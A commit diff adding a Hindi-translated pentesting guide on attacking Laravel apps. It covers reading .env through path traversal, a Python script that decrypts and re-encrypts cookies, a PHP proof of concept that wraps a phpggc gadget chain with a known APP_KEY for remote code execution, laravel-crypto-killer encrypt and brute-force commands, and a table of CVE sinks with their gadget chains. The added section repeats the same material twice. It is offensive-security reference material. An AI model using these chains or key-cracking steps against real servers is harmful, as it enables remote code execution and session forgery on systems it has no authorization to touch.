Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-07-10 12:39:31 +00:00
parent eb375d5553
commit 20f3c36756

View File

@ -1,13 +1,98 @@
# Laravel
{{#include /banners/hacktricks-training.md}}
### Laravel SQLInjection
इस बारे में जानकारी यहाँ पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (`Illuminate\\Encryption\\Encrypter`)।
कच्चा ciphertext जो अंततः **क्लाइंट को भेजा जाता है** वह **Base64 का एक JSON ऑब्जेक्ट** होता है जैसे:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** decrypted value करेगा। इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` को जानता है, एक encrypted PHP serialized object बना सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।**
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें।
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## वास्तविक दुनिया के कमजोर पैटर्न
| प्रोजेक्ट | कमजोर सिंग | गैजेट श्रृंखला |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` कुकी | Laravel/RCE15 |
शोषण कार्यप्रवाह हमेशा होता है:
1. `APP_KEY` प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स)
2. **PHPGGC** के साथ गैजेट उत्पन्न करें
3. `laravel_crypto_killer.py encrypt …`
4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → **RCE**
---
## कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज
क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (`XSRF-TOKEN` और आमतौर पर `laravel_session`), **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफ़लाइन हमला किया जा सकता है।
Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):
* डेटा सेट जुलाई 2024 » 580 k टोकन, **3.99 % कुंजी क्रैक की गई** (≈23 k)
* डेटा सेट मई 2025 » 625 k टोकन, **3.56 % कुंजी क्रैक की गई**
* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं।
* विशाल कुंजी पुन: उपयोग शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।
निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 िनट तक कम करत है
---
## संदर्भ
* [Laravel: APP_KEY लीक विश्लेषण](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP सामान्य गैजेट श्रृंखलाएँ](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 लेख (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}
## Laravel Tricks
## Laravel ट्रिक्स
### Debugging mode
### डिबगिंग मोड
यदि Laravel **debugging mode** में है, तो आप **code** और **sensitive data** तक पहुँच सकते हैं।\
यदि Laravel **डिबगिंग मोड** में है तो आप **कोड** और **संवेदनशील डेटा** तक पहुँच सकते हैं।\
उदाहरण के लिए `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
@ -16,13 +101,13 @@
### .env
Laravel APP को कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए एक फ़ाइल में `.env` के नाम से सहेजता है, जिसे कुछ पथ ट्रैवर्सल का उपयोग करके पहुँचा जा सकता है: `/../.env`
Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है जिसे `.env` कहा जाता है जिसे कुछ पथ यात्रा के तहत एक्सेस किया जा सकता है: `/../.env`
Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel को कोई त्रुटि मिलती है और यह सक्रिय होता है)।
Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel एक त्रुटि पाता है और यह सक्रिय होता है)।
Laravel के गुप्त APP_KEY का उपयोग करके आप कुकीज़ को डिक्रिप्ट और फिर से एन्क्रिप्ट कर सकते हैं:
### Decrypt Cookie
### कुकी डिक्रिप्ट करें
```python
import os
import json
@ -98,5 +183,87 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (`Illuminate\\Encryption\\Encrypter`)।
कच्चा ciphertext जो अंततः **क्लाइंट को भेजा जाता है** वह **Base64 का एक JSON ऑब्जेक्ट** होता है जैसे:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** करेगा decrypted value को। इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` को जानता है, एक encrypted PHP serialized object तैयार कर सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।**
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें।
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## वास्तविक दुनिया के कमजोर पैटर्न
| प्रोजेक्ट | कमजोर सिंग | गैजेट श्रृंखला |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` कुकी | Laravel/RCE15 |
शोषण कार्यप्रवाह हमेशा होता है:
1. `APP_KEY` प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स)
2. **PHPGGC** के साथ गैजेट उत्पन्न करें
3. `laravel_crypto_killer.py encrypt …`
4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → **RCE**
---
## कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज
क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (`XSRF-TOKEN` और आमतौर पर `laravel_session`), **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफ़लाइन हमला किया जा सकता है।
Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):
* डेटा सेट जुलाई 2024 » 580 k टोकन, **3.99 % कुंजी क्रैक की गई** (≈23 k)
* डेटा सेट मई 2025 » 625 k टोकन, **3.56 % कुंजी क्रैक की गई**
* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं।
* विशाल कुंजी पुन: उपयोग शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।
निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 िनट तक कम करत है
---
## संदर्भ
* [Laravel: APP_KEY लीक विश्लेषण](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP सामान्य गैजेट श्रृंखलाएँ](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 लेख (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}